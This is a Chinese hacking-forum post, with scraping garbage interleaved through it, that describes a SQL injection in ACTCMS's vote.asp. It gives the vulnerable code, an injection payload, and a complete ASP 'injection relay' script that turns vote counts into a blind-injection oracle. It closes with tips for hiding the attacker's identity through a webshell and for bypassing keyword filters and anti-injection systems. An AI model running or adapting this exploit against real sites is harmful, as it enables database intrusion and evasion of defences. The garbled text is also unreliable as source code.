% Y" M# B. H4 H8 ]$ [$ N看到ninty大牛的blog的一篇文章
" h" T5 P. j$ p+ e1 |$ V链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
6 F1 }: I# k+ S7 c$ U7 d关于actcms漏洞的利用 by 3x qq:381862589
/ J0 E3 t/ R/ D/ S, y/ g/ i; t转载请注明以上' S. X* V$ T9 Q' k( @0 I
漏洞文件:3 i: z4 M6 o0 ^
/plus/vote/vote.asp: Q7 Q2 r) q7 B5 T0 N
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then 6 x( z, p0 O" ]5 w
9 W8 S3 i6 C, V" x* P+ P% o9 L6 {2 response.write "<script>alert('请选择投票项目。');window.close()</script>"
& k! K' m4 E% c
( _' h" m& D x3 `2 f9 R3 response.end 9 Z0 @9 r/ j% L8 u- N- s! k" s
% ~3 p) |1 W7 u$ C; k
4 end if
; H/ E) n# W1 Y) d6 s; @$ T @( ]$ E2 u" C6 B/ {
5 for i=1 to request("voted").count v" G" N% Y# D5 l7 \
+ ?5 Q6 @ W, Z6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))
& j4 M9 \. H( @+ \, a( T
: d6 u8 \$ C9 i( @# M+ y& K7 next
4 A0 P% b$ e6 u" a2 R6 v4 x) }, B0 w0 ~2 y
8.... * B4 h8 M$ j8 C* c3 f# d7 t
1 P6 W: L7 @# K0 o% [2 N
9response.Redirect "index.asp?id="&id&"" 5 G$ X7 n t( P1 q
投票结束回跳转回index.asp这个投票结果页面$ D" s3 X m! X, R# c: R# k
如果投票成功票数加10 Z2 W0 g4 M+ Q, J% S6 Y
失败票数不变8 G9 r$ B0 k# V
如图:$ x- `/ n5 I7 e
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
. H' H# i: a2 Q' {) N- S5 E1 I" _0 D; c9 a7 u' S
2009-12-27 13:20
1 P( F- o( R4 A P5 m
3 }# N* X1 ~9 x* {9 d7 j d利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了% E6 B, ^, T* t+ m. b* S( s) d+ V3 p
9 A, M+ r0 K9 w2 J& v+ E本帖隐藏的内容需要回复才可以浏览$ {+ w. y9 q& j$ }* t" M
我们用注入中转来实现这个注入具体代码如下:$ ]& A& p+ Z0 |1 M |* q, c6 \
先用寂寞的刺猬大牛的注入中转生成jmget.asp
" Y: C8 t" P8 V5 g2 E9 R0 {2 `( f# R注入地址:http://localhost/actcms/plus/vote/vote.asp
Z& l! A: j0 V; c2 [: H; k注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项! m e6 H# A. p: x
* H4 q, k3 r. o$ {' w7 }% O; ]" [' e
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
2 ]% b% w6 N) {5 G, x
$ f0 ~+ s* r2 c! Y" [% j" n02JmdcwName=request("jmdcw") " d+ a: l( d3 F9 S: \1 E/ y
t; z$ t/ _( \0 ~) R$ T( o7 s2 H03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
6 U, B9 t( r; Z# k) ~) W8 I
" ]3 c+ F6 I7 V- {04JmStr="id=1&voted=-1 or 1="&JmdcwName
. ]; }4 J3 C, z# O! |; K+ ^# A! R! i: w/ b. E- ~) O8 S
05JmStr=URLEncoding(JmStr) 6 R' s" y% u+ {( n: ]
; z! S0 _* E/ ? s% i- \
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"9 s* M, P/ Y9 ~/ s" B' i. G
l" o, J- n" C07testurl="链接标记http://localhost/actcms/plus/vote/index.asp", u: i7 O) ]" d4 |8 C) v
7 r/ I0 k& k4 L" o/ M9 j* J08testurl=testurl & "?" & JmStr - e" c) _5 z0 n
6 e4 ]7 b: c) l3 J! C* M7 {6 q
09JMUrl=JMUrl & "?" & JmStr
- ~& o) D7 G! S" v) J) a5 E
! h7 C# E# i' K2 v; \10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp". ~" d. j8 V0 y
' T: d; `5 p0 a+ c1 F* k' R11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"0 u; {" P3 m/ m# W3 V
* c2 s+ S5 a) l4 H
12JmCok=replace(JmCok,chr(32),"%20") $ Y% |& r* k7 U: Z# T9 l4 L
+ C; V1 P: Z+ U8 J
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 8 l- a% \, _7 ]* Y
6 c3 }2 v2 G, L, D
14 + d4 c. I2 E1 d5 _0 {
& i8 t) Y9 D# d! J& t5 u4 ]; r
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 - V4 v1 @9 g+ t# A+ f2 _
3 c3 O2 W/ R* F& e$ l) ^0 F16 + A, n4 N! v2 R9 ]- @5 H; Q
6 X* v4 T. O% Z: B) ]17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
, h9 }# @1 g6 _1 d+ K) r% j' ^3 a8 {; r
18response.write test1&""&test2&""
S( C$ Q" {3 I2 i: l; e" H8 I- E+ Y. y7 a" r( j$ l, F
19 ' b; k, t0 s" f
" @+ K$ Q8 w0 T* J! U# l1 E" P* q$ ?20if test1=test2 then '如前后记录相等,表示失败
$ S0 C8 V6 A0 h# O* r
% G. f, j# G* |. i( H; U21 response.write "failed"- A1 e9 X$ ?8 h9 [
) H7 z9 e4 s N22else
9 ^- v b) W/ m0 v9 d7 i
) H, l4 ^; I6 U% e, M' H23 response.write "succeed"/ I# e; r4 f% N* g
( x# r W1 m' e7 F; k24end if 7 R/ t# X+ b- g
6 F1 [- B" L& H9 @9 g% ^" j25 " ?, |3 p6 F: q
+ i7 C- s# ]) I# f; `( I3 _
26response.write "by 3x"
" o. c- U# `* T& f( v4 \7 v- p+ m. `& J
27 . D* a- A6 x0 g( d K* _
; C' K$ `6 q- O5 L( q$ n: j) B28 |# R5 w* l5 v8 k
4 D8 @ z; R+ U9 Z# o% i29Function PostData(PostUrl,PostStr,PostCok,PostRef)
. F6 w: i% \ B2 t0 V) Z' j) c9 j5 U/ B/ h- f1 c
30Dim Http
L, x: T8 I7 D+ X
) i s1 S1 v" f: z1 }) O0 Y+ S31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
- ]( |8 Y6 ?7 R+ H: l
& x0 \) o y9 v1 N32With Http
/ w2 O8 }6 [) y) }, t* k0 x D1 U
9 s' G' Y; A5 U33 / p- ]% X- N; D+ r
" v) @; D `6 s; l' U7 K9 E34.Open "GET",PostUrl,False# ^6 h \/ U& A1 U* R+ f
+ C7 e- o) v# Q8 b0 j$ A) _35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"! l# w' H& w1 Y
2 ^( P2 p5 F. |6 x8 @5 T) i: n7 A36.SetRequestHeader "Referer",PostRef
6 i9 [8 ^! J. f8 C3 ]4 v) p
4 u: Y3 O/ |+ @* V9 v' G) o% E- V37.SetRequestHeader "Cookie",PostCok 9 z* m/ ^% C" C L3 R! w
9 K( _" n5 k/ G' m! l- l1 g) b
38.Send () $ Z* K' _; ~6 ]8 _, Z
* b$ d j& f& r! e s* e$ X39PostData = .ResponseBody
* D) C, x- W; {+ z! `4 W
2 o& H2 u) Y" v. g! ?2 T40End With8 l3 t+ V7 F* s2 O6 _
$ N ^! ?7 D' {( p7 d
41Set Http = Nothing: `, }) K9 m' s0 s0 r
0 `1 J; R- }# Z
42PostData =bytes2BSTR(PostData) / ~+ g! I: n6 f; X. m/ Y1 V3 C4 D& U5 Z
3 T4 T# z; I: C- ]( j( v0 O) l! u43End Function
+ a U1 \& u) y
# _, ] M9 A8 {6 D% z) R& P+ S44 , V' }' \* O q1 v: b
H# d) Z/ f/ O0 y Q( e8 N45 8 E1 E' b9 L% u, r2 P6 r. _
" a6 a4 T9 m3 u7 g46Function bytes2BSTR(vIn) 1 t. d' w, m) S; O6 K4 }$ D$ W
% F! W5 I/ ]3 R; @6 x( T* O$ o# H47Dim strReturn , j7 j( m! Z5 f8 W* S+ `# h" A
8 S b' i$ O6 W1 D48Dim I, ThisCharCode, NextCharCode 7 w$ R7 n% H" _: u, {
, o7 y$ `; ~1 b6 {+ S' Z& B49strReturn = ""
6 Y" \# I5 Y. P5 @9 t* \3 W) s4 s" p. m5 |& M/ G- z: b6 z) A9 i
50For I = 1 To LenB(vIn)
7 d- ?: R0 O+ y) K
* x' O, D3 l5 f7 e3 z1 Z9 A7 E51ThisCharCode = AscB(MidB(vIn, I, 1)) : Q: B" [8 j8 i" N1 F6 X
& k/ [# O7 Y: ~' d: ] w; d
52If ThisCharCode < &H80 Then9 a2 V- N3 v/ n
g' \6 I# V' f- c6 Q9 r- h
53strReturn = strReturn & Chr(ThisCharCode) ; E; Q% `0 M9 ]: Z7 I9 W
! h; ~1 m2 m* K( K6 e' E4 P
54Else0 M; G; a, i. H3 ?! [8 ^8 s( x* J
* k& T1 _" l) {
55NextCharCode = AscB(MidB(vIn, I + 1, 1)) " `& F5 s4 ~6 B
0 s o8 K0 d& ?56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
8 n: {: T( P2 n
2 l+ U; `0 [, i. }3 x57I = I + 1
& T" \; F9 [: r" U2 S0 B5 O9 W& C9 o3 c* F
58End If$ c" _0 C% B6 ?+ H# v8 w% a. ]
5 v7 {- E% w% C" N/ y59Next2 l- r6 q3 H2 ~5 L/ K) i; A
7 h8 j D/ O3 z
60bytes2BSTR = strReturn
5 c% h1 t1 l2 [" g$ h5 P5 @- `1 w, B3 D- Q+ E2 i* b
61End Function
* p) W) D, p, c' ?4 k! n" F3 u2 {
62
3 O( j$ ^5 U. L: p9 R5 ~+ D' O% v; m' \) f6 A# h
63Function URLEncoding(vstrin)
4 \2 E* O$ ~/ } ` G6 O0 S& D+ T2 p
64strReturn="". I, H% Q3 N F0 m3 R
1 h, {, a. Y: |; J' b; Z65Dim i
0 a$ E8 [& W o6 I" m% d( k+ {& t0 g' W/ A& F5 ^ v2 O/ c
66For i=1 To Len(vstrin)
: ]0 ~ h# }# I5 E0 }1 m D% G# m3 D; J, K7 s" s2 c
67ThisChr=Mid(vstrin,i,1) 1 t' { z- b! Z8 j. Z0 j
1 _8 N0 `$ R* d' ]& J1 H
68if Abs(Asc(ThisChr))< &HFF Then
2 \, O" l. N6 A4 P; r3 m( t) L2 }
* v, l2 ~* [& r7 Q( \7 z# C69strReturn=strReturn & ThisChr ( ]5 W( d# z. _! a# H
V: Y; I1 y6 U" Q5 ?- _- I" j4 K
70Else p$ s$ [: N* _9 L
5 h, @7 e" t2 H+ q( Z0 ?
71InnerCode=Asc(ThisChr) ( V- C) S; e1 h
; X2 x) D* i# j5 k% f p72If InnerCode<0 Then
/ A+ L' ~7 F' f, g5 O+ O+ U2 K0 D* U
73InnerCode=InnerCode + &H10000 * b1 ]" T& E0 E! z* \$ N
* y7 v) Q2 A8 X/ b+ k9 W" z+ M8 T
74End If
- T7 t5 p+ n* E3 T! e. I! K+ Z( D, k5 T" G6 F$ \6 d
75Hight1=(InnerCode And &HFF00) \&HFF
# e9 @; |- t5 A* ?: H
- D; C. U& ]! j2 k76Low1=InnerCode And &HFF $ _; _$ ^1 Q! }1 P' t2 Z3 z
9 `( v1 W. n0 b2 q. L77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
% X. ]& f) f. n4 F4 u+ ~
7 R) c% D |$ ^. i6 V$ i78End if $ [* v' I! l& @# C; L& K
; G: F+ g- q0 o) H/ J
79Next
) B$ y5 V/ I$ o# m7 L" ]8 r6 @. W! N! z- c
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
0 a' w' G7 Q+ Q: s2 j5 o: V9 g3 I
$ e# |8 R# ^ s% O" N0 @/ M$ J! h& b81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符
4 p- I" ?) r! Z0 {, m+ b: w, T) z) ~$ I$ Q: E
82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码 3 ? G* s& A5 x5 k! f, A. y
. w* R1 _! o: E8 H; ^0 {7 U+ M83URLEncoding=strReturn : v3 C& T1 T6 S
$ G! x* O; K6 F) v84End Function ~" a: X1 q+ ]; _) _8 |5 ~1 M
8 }# p* I" W9 ^4 W
85
1 @& r+ g. K7 q w* d: T! V1 N& U- q& z) |. S! f- ?% J* D1 L
86function getSt(body)
0 x0 {: x% W1 y4 r6 T: _2 I
5 Z6 A" F3 k$ V) I( g' \87 startpot=instr(body,"投票人数:")+len("投票人数:")
& _9 V, ~' i/ q# P- T6 H9 r) P5 |9 w8 D4 A8 Y
88 endpot=instr(startpot,body," ") / o1 V& {/ l( J% Q
) r8 o& P# }- B/ @+ f) p" i89 getSt=mid(body,startpot,endpot-startpot)
' J2 U5 n4 z% T0 P7 J( D$ Q: a' W, L7 M* a4 Q
90end function 5 g: |$ e; R* W: G7 g
5 o% |7 @: {4 i2 x! z B& r) `5 A91%>( p% a* n6 e! H6 O6 W, [
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了7 f) j" R- I, T
测试下效果:+ G/ p$ h0 X7 G9 Y+ b* a# [$ o
投票成功:# \+ Y9 F) x+ q- @' x
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
z! w' v6 _1 K a; t: o0 M4 E( J! B) ?2 b) h* I2 s$ I1 g* q
2009-12-27 13:29: v! m. a% J0 \4 n7 D0 ]
投票失败
1 e6 C, @3 C' @2 F) y$ \0 H+ \http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
5 z4 u$ |# \* p* X$ [, w) [0 R" z
2009-12-27 13:29- _( L4 i' |, t; C: v. P+ e
-------------------------------------------------------------------------------) S7 \/ |6 W/ V9 j$ Z. Z9 x
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
, g2 z2 l. M2 @; \( {- E/ y3 |很抱歉。。。只能用单线程工具去注入。。。。。. W, U, d5 g5 d5 I+ v1 n% N. U
所以失败。。。不好意思。。。" U1 j8 Y! m# c) m( Q( I* u
-------------------------------------------------------------------------------
8 h7 _8 h9 f% D& Q7 a9 J+ Q' N7 b; S0 v
注入中转的一些其他应用
$ _3 h$ L3 f/ l其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
5 L+ M( e* O& q' F5 L) }1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id9 \) y M; b: u& I; l% g% [7 o3 q
2.post注入转成get型的注入,方便我们使用工具来跑 J* r5 E1 S. g
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09") o1 o5 G1 _7 O7 P3 L8 I! R! ~
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过# ]! X! W b/ z, B8 C) @
; `, B. x Q" n0 h+ ^3 b
|